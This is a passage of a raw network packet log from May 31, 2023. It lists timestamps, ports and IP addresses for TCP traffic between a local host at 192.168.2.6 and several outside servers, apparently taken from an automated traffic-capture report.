May 31, 2023 12:23:07.373145103 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373192072 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373233080 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373246908 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373253107 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373297930 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373342037 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373347044 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373387098 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373387098 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373430014 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373431921 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373486996 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373495102 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373532057 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373532057 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373575926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373578072 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373621941 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373675108 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373676062 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373720884 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373733997 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373766899 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373768091 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373811007 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373811007 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373867035 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.373871088 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373914003 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.373936892 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.374059916 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.388984919 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.389049053 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.416522980 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.439862967 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.166512966 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.210532904 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.210800886 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.254215956 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.254266024 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.254286051 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.254306078 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.254478931 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.254518986 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.297156096 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.297193050 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.297211885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.297235012 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.297259092 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.297358990 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.297414064 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.308794022 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.340037107 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.340150118 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:09.382678032 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:09.382842064 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:12.794774055 CEST	49725	9001	192.168.2.6	5.9.110.236
May 31, 2023 12:23:12.795265913 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:12.795809031 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:12.796960115 CEST	49728	443	192.168.2.6	62.210.254.132
May 31, 2023 12:23:12.796998978 CEST	443	49728	62.210.254.132	192.168.2.6
May 31, 2023 12:23:12.797084093 CEST	49728	443	192.168.2.6	62.210.254.132
May 31, 2023 12:23:12.798099041 CEST	49729	443	192.168.2.6	185.96.88.29
May 31, 2023 12:23:12.798130035 CEST	443	49729	185.96.88.29	192.168.2.6
May 31, 2023 12:23:12.798211098 CEST	49729	443	192.168.2.6	185.96.88.29
May 31, 2023 12:23:12.799343109 CEST	49730	443	192.168.2.6	163.172.157.213
May 31, 2023 12:23:12.799395084 CEST	443	49730	163.172.157.213	192.168.2.6
May 31, 2023 12:23:12.799468040 CEST	49730	443	192.168.2.6	163.172.157.213
May 31, 2023 12:23:12.800607920 CEST	49731	9001	192.168.2.6	64.113.32.29
May 31, 2023 12:23:12.801642895 CEST	49732	8001	192.168.2.6	62.138.7.171
May 31, 2023 12:23:12.802118063 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:12.802138090 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:12.802237988 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:12.803215027 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:12.804300070 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:12.804320097 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:12.804424047 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:12.804904938 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:12.804917097 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:12.805015087 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:12.806102991 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:12.806133032 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:12.806209087 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:12.806509972 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:12.807888031 CEST	49729	443	192.168.2.6	185.96.88.29
May 31, 2023 12:23:12.807919979 CEST	443	49729	185.96.88.29	192.168.2.6
May 31, 2023 12:23:12.808192015 CEST	49730	443	192.168.2.6	163.172.157.213
May 31, 2023 12:23:12.808223963 CEST	443	49730	163.172.157.213	192.168.2.6
May 31, 2023 12:23:12.808412075 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:12.808432102 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:12.808631897 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:12.808646917 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:12.808862925 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:12.808872938 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:12.809096098 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:12.809123039 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:12.809348106 CEST	49728	443	192.168.2.6	62.210.254.132
May 31, 2023 12:23:12.809377909 CEST	443	49728	62.210.254.132	192.168.2.6
May 31, 2023 12:23:12.816683054 CEST	9001	49725	5.9.110.236	192.168.2.6
May 31, 2023 12:23:12.818947077 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:12.819030046 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:12.822349072 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:12.822427988 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:12.850564957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:12.864078999 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:12.864375114 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:12.893198967 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:12.917671919 CEST	9001	49731	64.113.32.29	192.168.2.6
May 31, 2023 12:23:12.934335947 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:12.934408903 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:13.027087927 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:13.027168036 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:13.031714916 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:13.031805992 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:13.122476101 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:13.122514963 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:13.123091936 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:13.127511978 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:13.127547026 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:13.127844095 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:13.133034945 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:13.133080006 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:13.133418083 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:13.141387939 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:13.141717911 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.141985893 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:13.142132998 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:13.145092964 CEST	49737	443	192.168.2.6	171.25.193.78
May 31, 2023 12:23:13.146155119 CEST	49735	443	192.168.2.6	46.165.230.5
May 31, 2023 12:23:13.146195889 CEST	49736	443	192.168.2.6	212.83.43.94
May 31, 2023 12:23:13.160954952 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.165889025 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:13.168248892 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:13.168359041 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.180275917 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:13.184444904 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.186156034 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:13.186187029 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:13.186208010 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:13.186224937 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:13.186269999 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:13.186300039 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:13.188282967 CEST	443	49736	212.83.43.94	192.168.2.6
May 31, 2023 12:23:13.188302040 CEST	443	49735	46.165.230.5	192.168.2.6
May 31, 2023 12:23:13.192279100 CEST	443	49737	171.25.193.78	192.168.2.6
May 31, 2023 12:23:13.203576088 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.204324007 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:13.204751968 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.204981089 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:13.205434084 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.209534883 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:13.210453987 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:13.215742111 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:13.224493980 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.225239038 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.225263119 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.225354910 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.227317095 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.228852034 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:13.228882074 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:13.228902102 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:13.228996038 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:13.238281965 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:13.238435030 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:13.246822119 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:13.283657074 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:13.283732891 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:13.283958912 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:13.299515963 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:13.330745935 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:13.332211018 CEST	49725	9001	192.168.2.6	5.9.110.236
May 31, 2023 12:23:13.354043007 CEST	9001	49725	5.9.110.236	192.168.2.6
May 31, 2023 12:23:13.424572945 CEST	49731	9001	192.168.2.6	64.113.32.29
May 31, 2023 12:23:13.541673899 CEST	9001	49731	64.113.32.29	192.168.2.6
May 31, 2023 12:23:13.862037897 CEST	49725	9001	192.168.2.6	5.9.110.236
May 31, 2023 12:23:13.883996010 CEST	9001	49725	5.9.110.236	192.168.2.6
May 31, 2023 12:23:14.049563885 CEST	49731	9001	192.168.2.6	64.113.32.29
May 31, 2023 12:23:14.166668892 CEST	9001	49731	64.113.32.29	192.168.2.6
May 31, 2023 12:23:14.701044083 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.706876040 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:14.706901073 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:14.707540989 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:14.710565090 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.710565090 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.710669041 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.710669041 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.711041927 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.711235046 CEST	49733	443	192.168.2.6	198.50.191.95
May 31, 2023 12:23:14.726052999 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.729933977 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.730272055 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.730426073 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.731199980 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.731265068 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.731311083 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.731348991 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.749917030 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.750009060 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.752288103 CEST	443	49733	198.50.191.95	192.168.2.6
May 31, 2023 12:23:14.755259991 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.755508900 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.756503105 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.763844967 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.763952971 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764025927 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764074087 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.764075994 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764147997 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764218092 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764219999 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.764309883 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.764328003 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764403105 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764477968 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.764487982 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.764549971 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.768449068 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.779263973 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.779344082 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.779372931 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.779393911 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.779478073 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.779500961 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.779676914 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.783833981 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783869982 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783894062 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783916950 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783941984 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783967018 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.783971071 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.783989906 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.784013987 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.784013987 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.784030914 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.784039021 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784053087 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.784064054 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784090042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.784096003 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.784113884 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.784137964 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784161091 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784184933 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784207106 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784229994 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784252882 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.784324884 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.785017967 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.785053015 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.785068989 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.785080910 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.785099030 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.785110950 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.785139084 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.785171032 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.788109064 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.788141966 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.788181067 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.788207054 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.788219929 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.788233042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.788247108 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.788294077 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.788800001 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.789501905 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.803654909 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803697109 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803715944 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803734064 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803760052 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803778887 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803812027 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803836107 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803859949 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803864956 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.803889990 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803936005 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.803937912 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803966999 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803993940 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.803996086 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.804022074 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.804023027 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804049969 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804079056 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804100037 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.804105043 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804124117 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.804135084 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804162979 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804186106 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.804208040 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.804229021 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.808223963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808258057 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808310032 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808335066 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808358908 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.808404922 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.808424950 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808449984 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808476925 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808506012 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.808619976 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808646917 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808672905 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808701038 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.808731079 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.808832884 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808887959 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808912039 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.808939934 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808974028 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.808974981 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.808999062 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809021950 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809031010 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.809052944 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809084892 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809113026 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.809118986 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.809142113 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.809170961 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.809175014 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.809175014 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.809232950 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.809787989 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809820890 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809851885 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809880018 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809887886 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.809909105 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809936047 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.809943914 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.813158035 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.813297987 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.813363075 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.813390017 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.813421011 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.813421965 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.813483953 CEST	49726	9001	192.168.2.6	217.79.179.177
